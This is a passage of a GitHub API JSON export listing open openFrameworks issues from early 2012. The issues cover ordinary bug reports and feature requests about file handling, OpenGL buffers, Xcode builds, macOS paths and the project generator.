back.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","assignee":null,"title":"PG Feature request: Clean examples folder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-30T12:51:30Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3897090,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","comments":0,"milestone":null,"number":1124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","assignee":null,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-29T16:47:29Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3883598,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","comments":2,"milestone":null,"number":1120,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","assignee":null,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-28T16:21:45Z","state":"open","user":{"url":"https://api.github.com/users/imanhp","gravatar_id":"7398ab0bbd07832d0289f26773e65077","login":"imanhp","id":1216228,"avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3856005,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1118,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Default paths.make for Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2012-03-28T12:19:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3850655,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","comments":0,"milestone":null,"number":1117,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","assignee":null,"title":"Can't retrieve desired frame rate once set","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-27T11:48:00Z","state":"open","user":{"url":"https://api.github.com/users/armadillu","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3825582,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","comments":5,"milestone":null,"number":1116,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","assignee":null,"title":"ofVBO updateIndexData incorrect buffer type.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-26T18:26:05Z","state":"open","user":{"url":"https://api.github.com/users/vade","gravatar_id":"37aca214d4875cd90af9d67072c82642","login":"vade","id":65011,"avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3813852,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","comments":3,"milestone":null,"number":1115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","assignee":null,"title":"optimization level in xcode projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":null,"created_at":"2012-03-26T17:05:14Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3812318,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","comments":1,"milestone":null,"number":1114,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","assignee":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"macros in ofArduino","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-26T17:02:21Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3812275,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","comments":9,"milestone":null,"number":1112,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","assignee":null,"title":"Issue with QtKitMovieGrabberExample in apps/devapps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-26T12:11:44Z","state":"open","user":{"url":"https://api.github.com/users/OlexandrStepanov","gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","login":"OlexandrStepanov","id":971079,"avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3807459,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","comments":1,"milestone":null,"number":1110,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","assignee":null,"title":"add a simple regex function like ofSplitString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-25T18:56:37Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3799872,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","comments":3,"milestone":null,"number":1109,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","assignee":null,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-25T18:18:28Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3799653,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","comments":7,"milestone":null,"number":1108,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"easyCam weird behavior when target changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-25T00:01:54Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3795495,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1103,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","assignee":null,"title":"PG feature request: Generate makefile-only projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-21T21:43:34Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3754055,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","comments":3,"milestone":null,"number":1098,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","assignee":null,"title":"feature / bug - #pragma omp critical(ofLog)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-19T14:04:51Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3710293,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","comments":2,"milestone":null,"number":1075,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-15T07:54:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3662214,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","comments":6,"milestone":null,"number":1070,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","assignee":null,"title":"Alpha movies in 